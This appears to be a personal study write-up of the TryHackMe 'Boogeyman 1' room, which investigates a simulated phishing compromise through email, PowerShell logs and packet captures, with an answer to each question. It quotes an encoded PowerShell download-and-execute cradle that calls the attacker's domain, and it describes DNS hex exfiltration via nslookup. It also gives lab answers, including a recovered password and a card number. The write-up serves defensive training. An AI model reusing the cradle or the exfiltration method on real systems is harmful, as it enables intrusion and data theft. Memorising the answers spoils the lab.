FaresMorcy
  • Whoami
  • Footprinting Labs
    • Lab - Easy
    • Lab - Medium
    • Lab - Hard
  • Shells & Payloads
    • The Live Engagement
  • Password Attacks
    • Lab - Easy
    • Lab - Medium
    • Lab - Hard
  • SOC Hackthebox Notes & Labs
    • Security Monitoring & SIEM Fundamentals Module
    • Windows Event Logs & Finding Evil Module
    • Introduction to Threat Hunting & Hunting With Elastic Module
    • Understanding Log Sources & Investigating with Splunk Module
      • Introduction To Splunk & SPL
      • Using Splunk Applications
      • Intrusion Detection With Splunk (Real-world Scenario)
      • Detecting Attacker Behavior With Splunk Based On TTPs
      • Detecting Attacker Behavior With Splunk Based On Analytics
      • Skills Assessment
    • Windows Attacks & Defense
      • Kerberoasting
      • AS-REProasting
      • GPP Passwords
      • GPO Permissions/GPO Files
      • Credentials in Shares
      • Credentials in Object Properties
      • DCSync
      • Golden Ticket
      • Kerberos Constrained Delegation
      • Print Spooler & NTLM Relaying
      • Coercing Attacks & Unconstrained Delegation
      • Object ACLs
      • PKI - ESC1
      • Skills Assessment
    • Intro to Network Traffic Analysis Module
    • YARA & Sigma for SOC Analysts Module
      • Developing YARA Rules
      • Hunting Evil with YARA (Windows Edition)
      • Hunting Evil with YARA (Linux Edition)
      • Sigma and Sigma Rules
      • Developing Sigma Rules
      • Hunting Evil with Sigma (Chainsaw Edition)
      • Hunting Evil with Sigma (Splunk Edition)
      • Skills Assessment
  • TryHackme SOC 1
    • TShark
      • TShark: The Basics
      • TShark: CLI Wireshark Features
      • TShark Challenge I: Teamwork
      • TShark Challenge II: Directory
    • Tempest
    • Boogeyman 1
    • Boogeyman 2
    • Boogeyman 3
  • TryHackme SOC 2
    • Advanced Splunk
      • Splunk: Exploring SPL
      • Splunk: Setting up a SOC Lab
      • Splunk: Dashboards and Reports
      • Splunk: Data Manipulation
      • Fixit
    • Advanced ELK
      • Slingshot
    • Threat Hunting
      • Threat Hunting: Foothold
      • Threat Hunting: Pivoting
      • Threat Hunting: Endgame
  • TryHackme Rooms
    • Investigating Windows
    • Splunk 2
    • Windows Network Analysis
  • Powershell Scripting Fundamentals
  • SANS SEC504 & Labs
    • Book one
      • Live Examination
      • Network Investigations
      • Memory Investigations
      • Malware Investigations
      • Accelerating IR with Generative AI
      • Bootcamp: Linux Olympics
      • Bootcamp: Powershell Olympics
    • Book Two
      • Hacker Tools and Techniques Introduction
      • Target Discovery and Enumeration
      • Discovery and Scanning with Nmap
      • Cloud Spotlight: Cloud Scanning
      • SMB Security
      • Defense Spotlight: Hayabusa and Sigma Rules
    • Book Three
      • Password Attacks
      • Cloud Spotlight: Microsoft 365 Password Attacks
      • Understanding Password Hashes
      • Password Cracking
      • Cloud Spotlight: Insecure Storage
      • Multipurpose Netcat
    • Book Four
      • Metasploit Framework
      • Drive-By Attacks
      • Command Injection
      • Cross-Site Scripting
      • SQL Injection
      • Cloud Spotlight: SSRF and IMDS
    • Book Five
      • Endpoint Security Bypass
      • Pivoting and Lateral Movement
      • Hijacking Attacks
      • Establishing Persistence
      • Defense Spotlight: RITA
      • Cloud Spotlight: Cloud Post-Exploitation
  • SANS SEC511 & Labs
    • Resources
      • Primers
      • References
      • Tools
        • Network
        • Elastic Stack
      • Printable Versions
    • Book One
      • Part One
      • Part Two
      • Part Three
    • Book Two
      • Part One
      • Part Two
      • Part Three
      • Part Four
    • Book Three
      • Part One
      • Part Two
      • Part Three
      • Part Four
    • Book Four
      • Part One
      • Part Two
      • Part Three Lab
      • Part Four Lab
    • Book Five
      • Part One Lab
      • Part Two Lab
      • Part Three Lab
  • CyberDefenders
    • XXE Infiltration Lab
    • T1594 Lab
    • RetailBreach Lab
    • DanaBot Lab
    • OpenWire Lab
    • BlueSky Ransomware Lab
    • Openfire Lab
    • Boss Of The SOC v1 Lab
    • GoldenSpray Lab
    • REvil Lab
    • ShadowRoast Lab
    • SolarDisruption Lab
    • Kerberoasted Lab
    • T1197 Lab
    • Amadey Lab
    • Malware Traffic Analysis 1 Lab
    • Insider Lab
    • Volatility Traces Lab
    • FalconEye Lab
    • GitTheGate Lab
    • Trident Lab
    • NerisBot Lab
  • Practical Windows Forensics
    • Data Collection
    • Examination
    • Disk Analysis Introduction
    • User Behavior
    • Overview of disk structures, partitions and file systems
    • Finding Evidence of Deleted Files with USN Journal Analysis
    • Analyzing Evidence of Program Execution
    • Finding Evidence of Persistence Mechanisms
    • Uncover Malicious Activity with Windows Event Log Analysis
    • Windows Memory Forensic Analysis
  • Hackthebox Rooms
    • Campfire-1
    • Compromised
    • Brutus
    • Trent
    • CrownJewel-1
  • WEInnovate Training
    • Weinnovate - Active Directory Task One
    • Build ELK Lab
      • Configure Elasticsearch and Kibana setup in ubuntu
      • Configure Fluent-Bit to send logs to ELK
      • Set up Winlogbeat & Filebeat for log collection
      • Send Logs from Winlogbeat through Logstash to ELK
      • Enable Windows Audit Policy & Winlogbeat
      • Elasticsearch API and Ingestion Pipeline
    • SOAR
      • Send Alerts To Email & Telegram Bot
      • Integrate Tines with ELK
    • SOC Practical Assessment
    • Lumma C2
    • Network Analysis
  • Build ELK Lab
    • Configure Elasticsearch and Kibana setup in ubuntu
    • Configure Fluent-Bit to send logs to ELK
    • Set up Winlogbeat & Filebeat for log collection
    • Send Logs from Winlogbeat through Logstash to ELK
    • Enable Windows Audit Policy & Winlogbeat
    • Elasticsearch API and Ingestion Pipeline
  • Build Home Lab - SOC Automation
    • Install & configure Sysmon for deep Windows event logging
    • Set up Wazuh & TheHive for threat detection & case management
    • Execute Mimikatz & create detection rules in Wazuh
    • Automate everything with Shuffle
    • Response to SSH Attack Using Shuffle, Wazuh, and TheHive
  • Home Lab (Attack & Defense Scenarios)
    • Pass-the-Hash Attack & Defense
    • Scheduled Task Attack & Defense
    • Kerberoasting Attack & Defense
    • Kerberos Constrained Delegation
    • Password Spraying Attack & Defense
    • Golden Ticket Attack & Defense
    • AS-REProasting Attack & Defense
    • DCSync Attack & Defense
  • Home Lab (FIN7 (Carbanak Group) – Point of Sale (POS) Attack on Hospitality Chains)
  • Home Lab (Lumma Stealer)
Powered by GitBook
On this page
  • [Email Analysis] Look at that headers!
  • [Endpoint Security] Are you sure that’s an invoice?
  • Network Traffic Analysis
  1. TryHackme SOC 1

Boogeyman 1

In this room, you will be tasked to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group, from obtaining initial access until achieving its objective.

PreviousTempestNextBoogeyman 2

Last updated 9 months ago

Prerequisites

This room may require the combined knowledge gained from the SOC L1 Pathway. We recommend going through the following rooms before attempting this challenge.

  • Tshark (coming soon!)

Investigation Platform

Before we proceed, deploy the attached machine by clicking the Start Machine button in the upper-right-hand corner of the task. It may take up to 3-5 minutes to initialise the services.

The machine will start in a split-screen view. In case the VM is not visible, use the blue Show Split View button at the top-right of the page.

Artefacts

For the investigation proper, you will be provided with the following artefacts:

  • Copy of the phishing email (dump.eml)

  • Powershell Logs from Julianne's workstation (powershell.json)

  • Packet capture from the same workstation (capture.pcapng)

Note: The powershell.json file contains JSON-formatted PowerShell logs extracted from its original evtx file via the tool.

You may find these files in the /home/ubuntu/Desktop/artefacts directory.

Tools

The provided VM contains the following tools at your disposal:

  • Thunderbird - a free and open-source cross-platform email client.

  • Wireshark - GUI-based packet analyser.

  • Tshark - CLI-based Wireshark.

  • jq - a lightweight and flexible command-line JSON processor.

To effectively parse and analyse the provided artefacts, you may also utilise built-in command-line tools such as:

  • grep

  • sed

  • awk

  • base64

[Email Analysis] Look at that headers!

Investigation Guide

Given the initial information, we know that the compromise started with a phishing email. Let's start with analysing the dump.eml file located in the artefacts directory. There are two ways to analyse the headers and rebuild the attachment:

  • The manual way uses command-line tools such as cat, grep, base64, and sed. Analyse the contents manually and build the attachment by decoding the string located at the bottom of the file.

echo # sample command to rebuild the payload, presuming the encoded payload is written in another file, without all line terminators
cat *PAYLOAD FILE* | base64 -d > Invoice.zip
  • An alternative and easier way to do this is to double-click the EML file to open it via Thunderbird. The attachment can be saved and extracted accordingly.

Once the payload from the encrypted archive is extracted, use lnkparse to extract the information inside the payload.

lnkparse *LNK FILE*

1) What is the email address used to send the phishing email?

I opened the dump.eml file with Thunderbird.

Answer: agriffin@bpakcaging.xyz

2) What is the email address of the victim?

Answer: julianne.westcott@hotmail.com

3) What is the name of the third-party mail relay service used by the attacker based on the DKIM-Signature and List-Unsubscribe headers?

I identified the service name by searching the email’s DKIM-Signature.

Answer: elasticemail

4) What is the name of the file inside the encrypted attachment?

I downloaded the email attachment and unzipped the file using the provided code.

Answer: Invoice_20230103.lnk

5) What is the password of the encrypted attachment?

Answer: Invoice2023!

6) Based on the result of the lnkparse tool, what is the encoded payload found in the Command Line Arguments field?

Answer: aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==

[Endpoint Security] Are you sure that’s an invoice?

Based on the initial findings, we discovered how the malicious attachment compromised Julianne's workstation:

  • A PowerShell command was executed.

  • Decoding the payload reveals the starting point of endpoint activities.

Investigation Guide

With the following discoveries, we should now proceed with analysing the PowerShell logs to uncover the potential impact of the attack:

  • Using the previous findings, we can start our analysis by searching the execution of the initial payload in the PowerShell logs.

  • Since the given data is JSON, we can parse it in CLI using the jq command.

  • Note that some logs are redundant and do not contain any critical information; hence can be ignored.

JQ Cheatsheet

jq is a lightweight and flexible command-line JSON processor. This tool can be used in conjunction with other text-processing commands.

You may use the following table as a guide in parsing the logs in this task.

Note: You must be familiar with the existing fields in a single log.

Parse all JSON into beautified output
cat powershell.json | jq

Print all values from a specific field without printing the field

cat powershell.json | jq '.Field1'

Print all values from a specific field

cat powershell.json | jq '{Field1}'

Print values from multiple fields

cat powershell.json | jq '{Field1, Field2}'

Sort logs based on their Timestamp

cat powershell.json | jq -s -c 'sort_by(.Timestamp) | .[]'

Sort logs based on their Timestamp and print multiple field values

cat powershell.json | jq -s -c 'sort_by(.Timestamp) | .[] | {Field}'

1) What are the domains used by the attacker for file hosting and C2? Provide the domains in alphabetical order. (e.g. a.domain.com,b.domain.com)

cat powershell.json | jq '.ScriptBlockText' | sort | uniq

Answer: cdn.bpakcaging.xyz,files.bpakcaging.xyz

2) What is the name of the enumeration tool downloaded by the attacker?

Answer: seatbelt

3) What is the file accessed by the attacker using the downloaded sq3.exe binary? Provide the full file path with escaped backslashes.

I tracked cd and sp3.exe to identify the file accessed by the attacker.

4) What is the software that uses the file in Q3?

Answer: Microsoft Sticky Notes

5) What is the name of the exfiltrated file?

6) What type of file uses the .kdbx file extension?

Answer: keepass

7) What is the encoding used during the exfiltration attempt of the sensitive file?

Answer: hex

8) What is the tool used for exfiltration?

Answer: nslookup

Network Traffic Analysis

Based on the PowerShell logs investigation, we have seen the full impact of the attack:

  • The threat actor was able to read and exfiltrate two potentially sensitive files.

  • The domains and ports used for the network activity were discovered, including the tool used by the threat actor for exfiltration.

Investigation Guide

Finally, we can complete the investigation by understanding the network traffic caused by the attack:

  • Utilise the domains and ports discovered from the previous task.

  • All commands executed by the attacker and all command outputs were logged and stored in the packet capture.

  • Follow the streams of the notable commands discovered from PowerShell logs.

  • Based on the PowerShell logs, we can retrieve the contents of the exfiltrated data by understanding how it was encoded and extracted.

1) What software is used by the attacker to host its presumed file/payload server?

I used Wireshark to identify the software with this filter:

http contains "files.bpakcaging.xyz"

Answer: python

2) What HTTP method is used by the C2 for the output of the commands executed by the attacker?

Answer: POST

3) What is the protocol used during the exfiltration activity?

Answer: dns

4) What is the password of the exfiltrated file?

I first filtered for sq3.exe and then followed the TCP stream.

He is making a SELECT statement to retrieve results from the NOTE table. We can follow the next stream from 749 to 750 to obtain the content of the SELECT statement.

We need to decode this hexadecimal using CyberChef.

Answer: %p9^3!lL^Mz47E2GaT^y

5) What is the credit card number stored inside the exfiltrated file?

I initially used Wireshark to capture the DNS traffic associated with the command-and-control (C2) server used by the attacker for data exfiltration.

We observe numerous results with characters similar to the previous query. The command used for data exfiltration splits the file using a DNS nslookup query.

tshark -r capture.pcapng -Y 'dns and dns.qry.name contains ".bpakcaging.xyz"' -T fields -e dns.qry.name | uniq

We need to collect only the hex characters, so let’s remove any newlines or spaces.

tshark -r capture.pcapng -Y "dns.qry.name contains \"bpakcaging.xyz\" && ip.dst == 167.71.211.113" -T fields -e dns.qry.name | grep -E ".*\.bpakcaging\.xyz$" | grep -v "eu-west" | sed 's/\.bpakcaging\.xyz//g'

Let’s decode it from hexadecimal and save it to the file protected.kdbx.

tshark -r capture.pcapng -Y "dns.qry.name contains \"bpakcaging.xyz\" && ip.dst == 167.71.211.113" -T fields -e dns.qry.name | grep -E ".*\.bpakcaging\.xyz$" | grep -v "eu-west" | sed 's/\.bpakcaging\.xyz//g' | xxd -p -r

Next, we open the file using the password obtained from the previous query.

Answer: 4024007128269551

- a python package for forensics of a binary file with LNK extension.

You may continue learning this tool via its .

Phishing Analysis Fundamentals
Phishing Analysis Tools
Windows Event Logs
Wireshark: Traffic Analysis
evtx2json
LNKParse3
documentation